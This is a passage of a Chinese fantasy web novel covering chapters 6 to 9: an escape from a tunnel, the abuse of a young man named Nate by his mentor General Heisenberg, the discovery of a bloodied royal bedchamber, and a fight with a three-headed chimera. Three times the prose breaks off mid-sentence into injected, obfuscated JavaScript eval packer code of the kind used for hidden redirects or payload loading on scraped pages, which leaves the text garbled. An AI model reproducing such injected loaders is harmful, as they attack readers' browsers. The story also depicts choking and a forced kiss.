“你被咬了?!” “没事,没毒,不是什么事。”格劳斯摸了一下,伤口不痛,大概是被什么蚂蚁咬的。 可是内特的声音提高了一倍:“没事?!你忘了那个死了的人,他们也是被咬——” 格劳斯正要安慰内特,突然反应过来,喜悦地叫道:“蚂蚁!有蚂蚁,说明我们离地面很近了!” “你说什么?”内特困惑不解地问。 “蚂蚁的巢一般离地面只有一米多。咱们肯定已经走得很浅了,前面就是出口了。”格劳斯加快脚步,向前小跑起来: “快,我们快到头了!” 格劳斯说的是对的,他们确实很快就到头了:只不过是死胡同。 格劳斯摸着面前结实的土墙,几乎难以置信:他们在黑暗中长途跋涉了这么久,眼前竟是一条死路。这也太不合理,且让人崩溃了。 “这不应该……”格劳斯喃喃道。而内特已经放弃的跌坐到地上,抱膝蜷坐起来。格劳斯不死心地问道:“内特,你就没有随身带些宝物什么吗?” 内特扬起头,“你说什么?” “我不知道。但是我听说那些有钱人家的公子,都会随身携带一些宝物,会在危急关头救命。” 内特从脖子上掏出一条吊坠,上面是一颗水滴形的银色玉石:“你说这个吗?这颗宝石是我妈妈留给我的,我一直带在身边。但是我没听说过它有什么用。” 格劳斯一计不成,并不气馁,在心中绞尽脑汁:现在不能放弃,我们离地面很近了,肯定能出去!他面前的墙是个较陡的斜坡,人虽然爬不上去,但是确实是向上。他抬起头,感觉隐隐约约的黑暗中,头顶上不远处就是地道的顶部了。他拉起内特,指了指头顶: “内特,你够得到我们上面的天花板吗?” 内特踮起脚尖试了一下,然后说:“还差一些距离。” 格劳斯两手撑在墙上,用身体做支撑,示意内特站到自己身上去:“你去试试,看看头顶的土能不能松动。” 内特比格劳斯个子高,但是幸在身材修长,并不肥胖,他踩在格劳斯身上,双手在头顶的岩壁上摸索,格劳斯勉强还能撑住。只是内特在自己头顶上探索了好一会,都没有声音。格劳斯咬紧牙关,感觉自己快要支撑不住了,梗着脖子问道: “内特,你找到什么了吗?” 下一刻,他听见内特惊喜的声音:“松动了!这块石板松了——”他听到石头摩擦之间的擦擦声,砂石从自己的头顶上滚落下来,他还未来得及说话,便感觉内特双脚发力,往下一蹬,已经从这隧道中爬了出去。 格劳斯被内特一踹,彻底脱力,倒在地上半天起不来。他看着头顶的岩壁刚刚被内特搬开的石砖,明亮刺眼的光正从上面照进来,不可思议的像是另一个世界。格劳斯伸出手,想要重新爬起来,却太过疲惫,一时使不上劲。 这时候,他感觉到银色的光芒从自己的身下浮起,那些华丽又繁复的花纹蔓延上自己的四肢,格劳斯熟练地闭上眼睛,当他再次睁开时,发现自己已经到了洞外,内特正气喘吁吁的躺在自己旁边,蓬头垢面,身上、头发和脸上满是土。 “刚才有一刻,我还以为你会把我丢在下面。”格劳斯说。 内特侧躺着,他满脸都是泥巴,却反而显得更加平易近人。浅金色的眼睛亮闪闪的,他笑了一下。 “怎么可能呢?是你把我从下面带出来的呀。” 劫后余生的感觉真不错,喘了好一会气,格劳斯问道: “我们现在在哪?” 内特翻了个身,仰面朝天,两手脱力的摊开:“你没听出来吗?我们现在在红房子里。” 6. 06-世界之王 格劳斯一下子直起身。 内特说的没错,他们在红房子里。浓郁粘稠的香气如蛆附骨,丝丝绕绕的音乐声在屋外的庭院中演奏。他们身处一个空无一人的房间,漆黑的房间内没有点灯,暖色的灯火从门外的缝隙中照进来。 那些隐约的光线照在内特的身上,给他勾出一个影影绰绰的轮廓。内特正站起身,捋了一把凌乱的银发,把沾满灰尘的袖套摘掉。 格劳斯把地上刚刚他们爬出来时,搬开的那块方形地砖重新盖回去,他还要向自己的队长汇报这件事,如果在此期间还有不知情的人发现,然后走进去就不得了了。 “我想在这呆会。那个米尔真会享受,神不知鬼不觉的跑到这里来玩女人。”内特转身说,“你怎么安排,格劳斯?” 格劳斯想,整件事都太扑朔迷离了。虽然他们从地道里有惊无险的出来了,可是回忆过去几小时发生一切,难道这条秘道真是米尔修的?还是他偶然发现,于是鸠占鹊巢?而在格劳斯的内心深处,他感觉死掉的那几个人,和发现的这条秘道,完全是两个事件。 是的,因为从始至终,他们都没有找到米尔的尸体。而从刚才地底爬上来的角度看,这么高的距离,单凭一个人根本不可能爬上来…… 格劳斯摇摇头,今天对于他来说同样太过疲惫。在这件诡异又离奇的事情里,连有空间纹章的内特都身处险境,又何况没有任何能力的自己?格劳斯想,这些事还是交给更有能力的人,比如内特那位无所不能的父亲吧。 “我要回去了,”格劳斯说,“内特,你一整天待在外面,你的家人不会担心你吗?” 内特怔了一下,然后摇摇头:“爸爸很忙的。你走吧。但是下次我叫你,可不许再拒绝。” 格劳斯笑了一下,嘱咐了内特几句,然后匆匆离开了。 等到房间重回安静,内特一个人仰躺回床上。他将手搭在脸上,过了一会,银色的光芒笼罩上他的身体,繁复的花纹蔓延上他的皮肤,随后,房间再度空无一人。 同许多贵族富丽堂皇的宅邸不同,海森堡将军府坐落在水晶宫的北方,毗邻圣山大学城,是一座相对更加庄严肃穆的建筑。它的前厅向外敞开,穿过走廊是接待众人的正厅,以及议事厅和其他会议室。将军私人的住宅则在将军府的最深处,鲜少受人打扰。 内特走进正厅时,几个军团的金甲侍卫正从议事厅出来,看见内特,立刻恭敬的行了一礼。 “老师在吗?”内特问。 当先一人点点头:“海森堡将军正在议事厅,刚刚结束早上的晨会。” 内特向他们道谢,急步穿过连廊,议事厅的门还没有关上,说明下一场会议还没有开始。内特悄悄推开门,看见几个高大魁梧的中将正围绕圆桌站着,被围在中间的男人灰发灰眸,他的表情沉默严肃,仅仅是站在那里,便透露出一股不怒自威的气势。他披着白色袍子,里面着深色铠甲,双手撑在桌上,正与旁边的人低声说着什么。看见内特进来,他无机的眼睛抬了一下,便又收下去,投入到刚才的对话中。 一位身材高瘦的年轻人走过来,看起来与内特同龄,显然刚刚军校毕业,颇为歉意地说:“抱歉,海森堡将军说让你在他的书房等他。” 内特想,看来今天老师也不会和自己说话了。 这不是海森堡第一次让内特等待了;在过去的一周,自从在皇帝康斯坦丁面前表明了收自己己为徒的态度后,威斯汀·海森堡就再没和内特说过一句话。每次他来到将军府,海森堡都是在工作或者开会,然后就让自己的副官指使自己到他的书房等。内特从早待到晚,可是连续几天,最后都只能得到将军已经休息,不会再见任何人的答复—— 饶是内特,也从最初的焦虑紧张,变得恼怒起来。 “好啊,我去书房等。”内特抬高音量,“请问将军什么时候才能轮到我呢?您天天都在见人,为什么唯独不见我?” “内特!——”那位副官有些焦急的劝了一句,但是内特已经开了口,便不肯后退,甭足了劲瞪视海森堡。 他想,就算爸爸怪罪也好,我已经该做的都做了—— 威斯汀·海森堡终于抬起了头。他抬起手,示意自己其他人不要开口。内特此刻意识到自己成了房间的焦点,所有人都因为紧张而沉默着,而帝国的大将军、皇帝之下最高的权力者、帝国之盾,威斯汀·海森堡正凝视着自己。他比平时在皇庭远远看到的样子更有压迫力,身材高大的惊人,而当他俯视内特时,旁人很难从那张不苟言笑的脸上看出什么想法。 “去书房等。”海森堡说。 内特有些害怕,但是又重复到:“可是我已经——” “我会来见你。现在,去等我。”海森堡淡淡地说完,又回到会议桌后,内特知道属于自己的时间已经结束了。直到那位副官把自己送出会议室,内特才发现自己心脏正砰砰狂跳个不停,手心里全是汗。 “你真有勇气,”那个副官用唇语说,“我们都没人敢这么直接开口和将军说话的。” “那么说我是第一个了?” 内特有些得意地笑了下,心情欢快了一些,等在书房的时间也不显得那么无聊了。 海森堡的书房有一扇巨大的落地窗,通过半透明的玻璃,可以看见亚斯提都的教堂钟楼,每当礼拜,顶楼的巨钟便会悠远的吟唱。方正的长桌摆在窗边,正对着门。另一侧墙壁是摆满的书架,听说海森堡将军在没有公务时,会独自来书房工作,目前内特还没有见过。 屋里没有椅子,内特又不适合坐在主人的书桌后,便只能靠着书架,无聊地注视着窗外钟楼上一格格移动的表盘。正午时分,钟楼便准时地传来钟鸣声。在更远处是圣山学院,内特在外出游学之前,也是那座学校的一员。 他正站得百无聊赖,突然听见推门而入的声音。 内特急忙站直,却发现来的不是海森堡将军,而是一位素未谋面的管家: “将军吩咐,你可以参观后面的宅邸。”那位上年纪的老人说,“他晚上会来见你。” “海森堡……老师,现在不来吗?”内特不知所措地问,“让我一个人在他家里面转?” 老人点点头,递给内特一枚令牌:“从此以后,只要出示这枚令牌,阁下就能在这座将军府畅行无阻。” 这下是内特搞不懂了。他原本以为,自己一直见不到海森堡将军,是因为对方不喜欢自己,或者在王座前的对话只是谦词。可是现在看来,对方似乎并没有对自己非常苛责——内特收下令牌,向老管家鞠了一躬,对方便引着自己穿过中院,经过一条无人的长廊,映入眼帘的是一座环绕假山的院子。 这间庭院是回字型结构,中心是环绕山石的奇花异草,两侧院子重重叠叠,房檐底矮,有木头栈道铺在人行的步道上。内特从未见过这个形式的房屋,房间的结构乍一看简单,但是在长廊下走了一会,便感觉踏入幽境,安静的只有流水和鸟鸣,仿佛在亚斯提都开辟出一方小世界。 尽管管家说海森堡将军允许自己在他的宅邸随意走动,内特还是非常拘谨,并没有推开任何一间房门,只是沿着普匝整齐的木质连廊,漫无目的的在整座宅邸游走。 他想,太冷清了。这里。 海森堡将军的宅邸确实有不少仆人,可是他们全都默不吭声的做事,着棕色布衣,仿佛与这栋如水的房子融为一体。大多数里屋空无一人,透过玻璃,也只能看到一些摆器。内特扬起头,这里甚至天空都被拘成小小的四方结构,鲜有鸟群飞过。 内特顺着山石景观往前走,发现在另一处别院里竟然还有温泉,正每时每刻往外冒着热气。 “这还算有点样子嘛。”内特想,“看来那位海森堡将军也不是完全不懂享受。” 内特将手搭在一个房间的侧墙上,发动空间纹章的能力,想感受一下整间宅邸的结构。可是他银色的思维之线刚延伸开去,碰到这些木墙和土地,便痛苦的闷哼一声。这些无机质的房屋在接触到自己的纹章能力时,突然变得极烫极深邃,而内特的精神意识碰到它们,就像突然被高压电流电到,内特捂着绞痛的脑袋,扶着墙好一会缓不过来。 “我忘了嘱咐他们告诉你,我不喜欢被窥视,所以所有地方都画了反转术式,会对任何纹章能力发动无差别攻击。” 一个低沉的声音在背后响起,内特吓了一跳,慌忙转身,看见海森堡就站在自己背后。他的身材高大强壮,内特不禁心生惧意。 “老师……,老师好。”内特结结巴巴地说,“我只是想了解一下这里的结构……” 海森堡走到内特身边,抬手抚摸木质连廊的柱子,开口道:“这是我第一任妻子设计的建筑。她因为思念家乡,在这里仿制了家乡的结构。” “您的妻子真是独具巧思。”内特说。 “她在十年前去世了。” 内特噎了一下。“节哀。您依然保留着当时的房子结构,想必是为了怀念她吧?” 海森堡说:“只是重修房子太花精力。” 他面无表情的放下手,引着内特向下一个区域走去。海森堡的步幅很大,内特不得不小跑才能跟上。 “老师,接下来我们要去哪里?” 海森堡说:“我的房间。” 海森堡的房间是一个双层对开门的里间,最外面是谈话的接待室,摆放着灯笼、小桌和垫子。里面则是休息的卧室、工作台、餐厅。海森堡让内特在垫子上坐下,很快有佣人端来茶和水果。 内特端着茶杯,不知道该不该喝,而海森堡支着一条腿侧坐着,他沉思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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于是那雷电就像众神的审判从天而降,那一瞬间,内特感觉站在自己对面的不再是人类,而是一位威及至尊的神明。内特感觉耀眼的白光吞噬了自己,极热的高温和震动从空间的另一侧传来,好像自己的精神都要被撕碎。疼痛从四肢传到灵魂,内特尖叫一声,那层屏障应声碎裂。 落雷消失了,内特捂着被烫伤的胳膊,他的四肢都在发热,而脑袋还一阵阵眩晕,伴随着嗡鸣声不绝。海森堡走到内特面前,在内特还未来得及开口之前,掐住了他的脖子。 内特的喉咙发出抽气的声音,他挣扎着,双手无力的拍打着海森堡的小臂。海森堡的两只手慢慢收紧,他居高临下地看着内特恐慌的表情,感受着青年在自己身下挣扎,他的胸腔起伏着,像一头受惊的小鹿。 过了一会,海森堡的手不再收紧,略微松开,让内特能够稍微喘息。 “看到了吗?内特?等你能达到这一步,再来谈论能力吧。我对你没有任何要求,因为你在我眼里一文不值。你父亲说的是对的,你唯一的优点,就是性格比较有趣,长得好看的脸蛋也并不多见,让我忍不住想多折磨你一会。” 内特咳嗽着,他的四肢依然无力,眼睛因为缺氧而模糊。海森堡的双臂箍在他的腰侧,一手托起他的下巴,审视他因为疼痛而失神的眼睛。 内特的手指试图把海森堡的手掰开,但是再一次失败了。他的力量很大,内特甚至感觉到脸被捏得生疼。他的脑子里一片混乱,恐惧、慌张和不知所措搅在一起。当海森堡俯下头时,他在混乱中意识到——他刚刚亲吻了自己。 内特终于从海森堡的手底下钻出来,他满脸通红,用手背擦干脸上的口水,恼怒地盯着对方。 “别碰我!”内特威胁道,那些银色的光纹再一次蔓上他的身体,他想要离开这个男人,但是再一次失败了——海森堡的雷霆轻易的贯穿了他,内特被轰飞出去,摔倒在地上,他的思维再一次中断。海森堡走到内特旁边,一脚踩在他的手上,半蹲下来,揪起内特的头发。 “如果你想跑,我现在允许。那么你再也不许回来,不许进入这个国家,不许被称为人类。或者留下来,如果我心情好,或许会教你些东西。” “我要杀了你……”内特气得浑身发抖,咬牙切齿道。 他的反应好像激怒了施暴者,海森堡面无表情的脸上终于露出了笑容。他松开手,内特沉着的脑袋便垂到地上。他感觉海森堡的双臂穿过自己的胳膊和肩膀,轻易地将自己横抱起来。 ”你大可试试,梅菲杰拉德,虽然这没有任何意义。“海森堡说,“倘若你接受,这里的一切都是你的。这个庭院,这座府邸。你会拥有所有门的钥匙。” “我可以让你拥有力量。你可以叫我老师。因为我喜欢这个称呼。” 7. 07-不详之夜 内特想,自己或许是在梦里。可是梦是不会痛的,有时候会有噩梦,可是醒来时,一切如常;但是现在却不同,他感觉自己每分每秒都在向下坠落,而他感觉疼痛。 · 梦境是精神的走廊。意志是现实的折射。 在内特·梅菲杰拉德了解自己之前,他会梦到一些以前见过的事情。他会回到自己去过的地方,在梦境中行走。 可是那只是梦而已,它们没有任何含义,它们只是来自于白天所见所闻的意象。当他旅行时,他会梦见海鸟、云朵和帆船,在遥远的世界漂浮着。当他回到家里,他会梦见走廊、屋檐和宫殿,在巍峨的耸立。在梦里一切总是空无一人,悄然无声,内特无意识的注视着它们,直到梦境结束,所有的一切都会像雾气般消散。 所有人都会梦到这种事情,无意义的画像,噩梦甚至都比它来得让人印象深刻。 但是内特已经很少做梦了。有时候海森堡会打他。他的力气很大,他仅仅是抓住自己,就让自己手腕痛的要碎掉。海森堡喜欢搂着他睡觉,但是他的胳膊很沉,压得内特很痛。他开始很难入睡,他睡着的时间越来越少,又总是会在浅眠中惊醒。因为身体总是疼痛,他好像笼罩在一片没有尽头的阴影中,他可以离开海森堡的屋子、离开这个庭院,可是他终究是要回来的,海森堡讨厌当自己回家时,内特不在这里,他会更用力的掐他。内特开始在白天神情恍惚,他感觉自己变得越来越恐慌,他开始走神,在威斯汀·海森堡构建的世界中,内特·梅菲杰拉德感觉自己难以呼吸。 内特有时想,倘若自己不在这里就好了。他不在海森堡的家里,不在水晶王国,不在这个会被人看见的世界上。他拥有穿梭空间的能力,却觉得比任何人都不自由;他诞生于最有权力的家庭中,可他却一无所有。 可他能去哪呢?内特想,他不喜欢人类之外的世界。那里都太落魄,太荒凉。他喜欢灯光、美食,众人聚餐一起欢笑;他喜欢走在水晶铸成的万轮圣母枝挂吊盏下,看琉璃碎片里有上千个自己闪闪发光。 内特揉了揉还在酸痛的肩膀,浑身都提不起劲。今天皇帝召开议会,而直到现在,海森堡都还没有回来。内特猜测,估计陛下又交了什么郑重的任务给他,海森堡将军今天要加班了。 这样也好,让他多工作工作,不要整天把注意放在我这里。内特看了眼外面的天空,今天云层很暗,黑漆漆的没有一颗星星,只有雾蒙蒙的月亮若隐若现。风从庭院外刮进来,立刻就感觉冷了。在一些荒野行商的传统里,这样的夜晚是被认为不详的时间。因为群星被黑暗遮掩,月亮也无法庇护,意味着没有光明指引,而邪恶可以肆意横行。内特不相信这些说法,从他学习的天文学知识看,这些不过是云和风交织而成的普通气象罢了。 但是内特确实不喜欢黑暗,他也没有兴趣出门,索性仰躺进床里,靠在枕头上。内特扭过身,不着边际地想:不知道格劳斯现在怎么样了?…… 他再一次睡着了。 在梦里,他回到了曾经去过的地方。那条漫长的,幽深的,空无一人的密道。 夯土的墙壁被挖成一人高的窄道,它没有拐角,没有声音,内特只是在漫无目的的行走,他不知道这条路会带自己通向哪里,因为他的前面、后面几米的位置,都很快没入深不可见的黑暗中。只有内特所在的地方,他发现是自己胸口的挂坠在发光,柔和的银色光芒驱散了周深的黑暗,让这个寂静压抑的有些恐怖的梦,也不至于那么的难以忍受。 内特赤着脚,他可以感觉到粗糙冰冷的土地,他的手搭在墙上,可以摸到同样粗糙、甚至潮湿的岩壁。他一定在很深的地下,这个梦算是把内特最惧怕厌恶的东西凑齐了,寒冷、潮湿、黑暗、孤独,这条不停向前延伸的地道就像收尾相连的迷宫,而内特甚至可以听见自己的脚踏在地上时啪啪的声音。 而在挂坠微弱的光芒中,内特也看见了一些以前不曾见过的细节:他看见了墙壁上生硬突兀的抓痕,褐色的血液般的痕迹留在墙上和地上;他看见白色的像骨头一样的东西堆在角落里。 他看见一双绿色的眼睛在面前的黑暗中骤然亮起。 内特怔怔地站着,那一瞬间发生的很快,他甚至没有意识到,但是危险降临的让他头皮发麻。可是他来不及做出反应,他的意识还在游神中,哪怕他的肢体已经下意识的蜷缩起来——可他还是迟了一步。他看见一张青色的、惨白的拉长的脸从黑暗中探出来,它细长的舌头从嘴里伸出,它的下巴张的很大,很难有人类能拥有这样的嘴。他闻到了腥臭的气味,他看见细密的一圈圈牙齿—— 内特感觉浑身的血液都凝固了。尖锐的、狰狞的痛苦从颈部传来,内特感觉到怪物的牙齿刺破了自己的皮肤,在他来得及尖叫之前,一股更深入骨髓的寒意顺着颈部的伤口灌了进来。内特的四肢顿时僵硬得动弹不得,他直挺挺地倒在地上,浑身都冰冷得好像不属于自己。那颗古怪的脑袋终于收了回去,可它青绿色的蛇眼依然在黑暗里亮着。然后怪物终于从黑暗中走出来,内特看见它长而丑陋的黑色毛发,沾着血的爪子,还有被银色的光芒照出来的,扭曲的、无法忽视的三颗头颅。 他在被咬住的那一刻就知道了,可是领悟的太晚了—— 内特·梅菲杰拉德会梦游。 ·· 小拉赫·克劳狄(Rammch Claudie Junior)喜欢观察他人。她个子矮小,很少说话,家族仅凭借百年的历史和财富在国王的国会中占有一席之地。这是男人们的游戏,小拉赫知道。 她眨了眨眼睛,意识到今天的议会和往常不太一样。是哪里不同呢? 圣山学院的大学士恩美尔·沙缪先生依然坐在最左侧角落的椅子上,或者说他的偶人。拉赫不知道这是沙缪先生的第几代作品,他的人偶已经造的与本人一模一样,穿黑色一丝不苟的礼服,吉红色蝴蝶结,只是眼睛一眨不眨,正聚精会神在敲打面前的打字机。在拉赫观察的片刻,沙缪先生已经又在纱纸上又敲出大半面。真不可思议啊,沙缪先生的纹章已经有如此能力了。 大主教皮尔斯也同样是气定神闲的样子。他穿着纹着金色羽毛花纹的白色教袍,总是笑眯眯的坐在议事厅中央的天使灯饰下方。康斯坦丁家族是最接近神的家族,他们获得了神的力量,而宗教是康斯坦丁家族密不可分的支持者。他们的大主教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赖兹瑙用手杖指了指面前的门,国王康斯坦丁的寝宫就在后面,靠近皇宫议事厅的偏殿,此刻它的木门正静悄悄的矗立着。国王年事已高,这些会议他已很少参加,但是往常都会有不少仆人在此进进出出。海森堡感觉到不对劲,他警惕的转过身,手扶到门上。 “你可以直接打开。”赖兹瑙说,“我还维持着佣人发现时的样子。当然,所有知情者都还留在这里,我没有允许他们离开。” 海森堡手臂发力,那扇雕花的厚重木门竟轻而易举的推开了。屋里传来浓稠刺鼻的腥味,血液、羽毛和黑色的鳞片满地都是,先前进屋的佣人尸体躺在靠近门的角落里。海森堡看见屋里的情景,脸色沉了下来。 “今天早上佣人来点晨灯时,发现屋门是开的,于是走了进去。幸好当时我也在。现在知道这件事的只有你和我。我最多将它再掩瞒一天,然后总会有人开始怀疑了。” “知道是谁做的吗?”海森堡问。 “我不知道,但是有一些线索。”赖兹瑙说,“待会我要去写信,请庞贝皇子尽快回亚斯提都一趟。噢,现在得称呼他为庞贝皇帝了。” 8. 08-恶魔 内特看着那怪物绿色的眼睛在黑暗中亮起,他的身体在跌下去,恐惧、慌乱和梦游时突然惊醒的茫然填充着他的脑海,让他甚至来不及做出任何防御动作。他感觉颈部传来撕裂的疼痛感,好像被对方咬个对穿,内特忍不住大叫一声,他重重倒在地上。胸前那颗银白色的珠子滚落到地上,内特可以看见怪物的身躯逐渐从黑暗里清晰,伴随着嘶嘶的怪声。 ……它探出披着鳞片的青色蛇头,红色的信子嘶嘶涂着,它的牙齿上还沾着刚刚咬到内特时的血。内特咬紧牙关,想从地上爬起来,可他的四肢却沉的提不起力气,脑袋跟着一阵阵混乱的眩晕,他眼前的画面像漩涡般搅着,好像一片乌云遮在他的脸上。那怪物又挥爪过来,蛇的头,爪子却像巨大的狮子……内特只来得及挥起胳膊就再次被拍出去,他的背撞到墙壁,一阵剧痛,而他的左臂已经被抓的鲜血淋漓。 “好啊……”内特贴着墙,他的手在地上握成拳头,可他却无论如何再也站不起来了。“好啊。”他在心里想,这个见不得光的怪物,恶心人的东西,他要死在这玩意的嘴里了。 那怪物扑向内特,内特闭上眼睛,等着最后一击的降临。可那怪物却痛苦的大叫一声,它仿佛被身后什么东西扯住一般,向前扑出的爪子被人硬生生拽住,无论如何够不到内特。内特睁开眼睛,看见那怪物已调转身躯,而另一个人人影已跳上它的脊背,手中的剑拼了命的从它的毛皮里刺下去。 “你碰他一下试试!” 棕发的青年怒吼道,他手中的铁剑刺穿了它的躯体,黑色的血飞溅出来。蛇头吃痛的叫了一声,格劳斯举剑正要再刺,一声狮吼却突然响起,跟着怪物的躯体扭动,把格劳斯掷了下去。第二个脑袋从青色的蛇头后面探出,一个狮头,它黄色的鬃毛凌乱的竖立着,它的嘴巴丑陋奇艺咧开着,好像曾被人一刀从下往上劈开,血正滴滴答答从它合不拢的下巴里流出来。 格劳斯一骨碌从地上滚起来,挡在内特和这怪物中间,他的手臂因为刚才过度发力而颤抖着,身子看起来那么单薄。他两只手握紧手中的剑,立刻又和怪物扭打在一起,他侧过头,躲开狮子咬向他的血盆大口,另一刀格挡青色的蛇头,铛的一声,鳞片飞溅,格劳斯再次后撤回来。 你休想碰他,格劳斯在心中想,我死也不让你过去! 怪物的动作并不快,它的两条前肢都流着血,格劳斯可以看见很深的几道伤口曾从它的关节处穿过去,深得几乎能看见骨头。它看起来气喘吁吁,本身已经血流如注,当时自己它的从背后看来,它的后肢和背部,被什么东西腐蚀的连骨头都露出来了。但是他丝毫不敢懈怠,他手中只有一把剑,出来的太过仓促,连像样的外衣都没穿。那怪物仗着自己身躯巨大,又扑上来,格劳斯咬紧牙关,侧身用肩膀顶住怪物的爪子,提剑上刺。合不拢嘴巴的狮头,它漆黑一片的眼睛正怪异的落在他身上,格劳斯对着血盆大口却不动不摇,内特眼睛瞪大了,眼睁睁的看着狮头要咬上格劳斯的脖子。 而格劳斯在狮头合拢的那一刻提剑向口腔内刺去,它的嘴巴咬住格劳斯的胳膊,发出可怖的喀锵声,而格劳斯的剑从狮头的后脑勺穿出去,把这个脑袋捅了个对穿。不等停歇,格劳斯把怪物几乎四分五裂的身躯推翻到地上,另一只完好的手抓住自己被咬住的胳膊,从怪物已经裂开的脑袋中抽出来。那青色的蛇头还活着,它被狮头压住,正朝格劳斯嘶嘶的吐着气。格劳斯一脚踩住它覆着鳞片的颈部,左手拿住剑,哧的一声刺了下去。剑插进去的感觉很奇怪,好像没有完全穿透,格劳斯把有些钝的剑抽出来,就要再插进去。 可那裂开的狮头突然动了起来,格劳斯下意识的后退一步,看见在狮头和蛇头中间的缝隙蠕动起来,红色的血肉在格劳斯面前快速的重新组织,好像有什么东西要从怪物的躯体里挣脱出来。 因为格劳斯挡在自己面前,内特看不见怪物身上发生了什么事,他只听格劳斯突然惨叫一声,捂住自己的眼睛,跪倒在地上。两行血泪从格劳斯的眼睛中流出来,血液跟着从他的鼻腔、耳朵流出来。格劳斯眼前立刻被漆黑和血腥灌满,他当时正紧张眼前的怪物会发生什么异变,就仿佛有什么东西在黑暗中瞪了自己一眼,那是一对怪异的、方型的瞳孔,落在惨白的眼球上,而自己的脑子就像被瞬间被千万根针刺一样剧痛无比,连思维都被强行打断,好像一只黑色的大手在自己的脑子里搅动。 内特可以看见那第三个脑袋正从死去的狮首和断了一半的蛇头之间的缝隙中伸出来,如果只看剪影,会很像恶魔的头颅,它长着螺旋扭曲的两只角,面部是羊的形状,那对突出的方形眼睛正如无机质的注视着格劳斯。 山羊的头,第三个脑袋终于现身了,狮头、蛇头、羊头的恶魔。 内特不敢去看羊首的眼睛,那如精神污染一般的注视拥有摧毁人类的精神的能力。格劳斯还跪倒在地上,捂着眼睛痛苦的呻吟着。而那怪物已经重新站立起来,拖着旁重的身躯,它的爪子压在格劳斯的腿上,一阵可怕的惊心动魄的碎裂,格劳斯尖叫一声,它在怪物的身下挣扎着,右腿显然已经断开了。 格劳斯大睁着覆满鲜血的红色眼睛,他已经看不见了,但是还能听见、能感觉到。那羊首的怪物俯下身,啃噬人类的大腿,它粗糙的舌头剐过格劳斯腿上裸露的伤口,羊的牙齿是平的,那感觉就像在用钝刀割腿上的肉。而更可怖的是,内特可以看见怪物身上的伤口开始慢慢愈合,在格劳斯逐渐失去血液时,那些血肉开始在怪物只剩骨骼的肢体上增生,连带着狮头裂成两半的脑袋也有愈合的趋势。 ——不!不! 格劳斯在怪物的身下喘着气,他显然已经从刚才的精神攻击中找回意识,即将被咬死的危险让他重新找回力气,就要把自己从怪物的身下挣脱出来。 羊头再次抬起来,它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他的手向兽首皮下的更深处探去,推开怪物滑腻的喉咙、湿漉漉的肌肉群,从它压住的身躯下把那跳动的,覆着白色血管的脏器挖出来。他仿佛着迷的注视着它,在他眼里它不是心脏,而是别的……仿佛自己的一部分。那颗心脏在他的手中快速的失去血液、发干,因为格劳斯的触碰而奇异的变化着,短短几秒后,格劳斯的手中只剩下一个如黑石英般半透明的纹章。 格劳斯握住这块碎片,反手刺入自己的心脏。 内特支撑起身体,他不是第一次看到这样的画面,但是无论多少次,他都感觉十分不可思议。黑色的光芒从格劳斯的体内迸发出来,好像某种漆黑粘稠的东西在这个空间里流动着,内特警觉地盯着格劳斯的方向,那黑色的花纹在他的身上演化着,起先只是一团团不成形的雾气,随后化成一层又一层鳞片,鳞片褪去,又长出簇簇黑色的毛发,而当那一切非人的变化最终从他的皮肤上消失后,萦绕此地的邪恶气息已经消失了。格劳斯倒在地上,垂着头,仿佛睡着般闭着眼睛。 “格劳斯?”内特试探的问道,青年的容貌没有任何变化,但是这具皮囊下的灵魂已经改变了,只是内特不知道他究竟受到了多少程度的影响。无论如何,只有一件事可以确定: 兽纹章——恶魔,今夜,诞生了它的新的主人。 9. 9-誓言 格劳斯感觉陷入了一场怪梦。他的眼皮不断颤动着,大片大片的黑色形状在他的眼前快速的闪过,好像他在由黑暗组成的云层中不断上升。每一次他都能听见尖叫呼啸过自己的耳膜。每一次试图抬起手指他都感觉一层针椎般的疼痛立刻从指尖流过全身。——那是他破损的肌肉再重新生长,但是那时的格劳斯还对此一无所知。 他看到自己过去的人生在飞速的如走马观花般从自己身后重新闪过,但是那些画面比他有记忆以前更清晰,那是由□□保存的、潜意识的图片——德克斯郡,他看到还是婴儿的自己被一个人放到山村的门口,在夜幕降临之时,一位老人把襁褓里的孩子接了回去——他在原野和田地里长大,成群的牛群和羊群在他的驱赶下爬过山坡——可是它们都死去了,当风暴来临时,最后的村民也放弃了这里——他看见自己辗转于铁匠铺、陶瓷作坊和砖窑,他锻炼出更强壮的体魄,从铁匠的工作中学习挥剑的本领。 ——他看见怪物,月亮,银发的青年,朝他张开手。 ——这些一幕幕闪过的回忆引领格劳斯重新走过自己的人生,好像他在重新诞生,成长,伸出四肢。 当那七彩的奇幻的光晕终于褪去,格劳斯感觉到对环境的感知和肢体的疼痛重新回到自己的意识里。他努力的睁开眼睛,看见内特正俯身看着自己。他问道:“你感觉怎么样?,格劳斯?” “我感觉视力更好了。” “别打岔!” 格劳斯笑了一下,这是真话,他的五感变得更加敏感,他能听见虫蚁从地下爬过时的嚓嚓声,嗅到平时闻不到的气味,甚至在如此阴郁的黑暗中,他也能看见内特如月光般的银发和沾着泥土的脸庞,他亮闪闪的眼睛正目不转睛的盯着自己。 “咳,确实有很多不同——我们还是换个地方再谈吧?” 格劳斯已经恢复了力气,他肢体上的伤口也已愈合如初,甚至连疤痕都没有。内特让开身,让格劳斯站起来。 内特把自己掉在地上的银色项链捡起来,重新戴回脖子上。格劳斯问:“你想去哪?” 内特罕见的迟疑了一下,然后说:“我不知道。” “不回家吗?” 内特扭过头去,抿了抿嘴:“不……” 格劳斯想了一下,然后建议道:“如果你不嫌弃,要不要去我家?” “你家?” 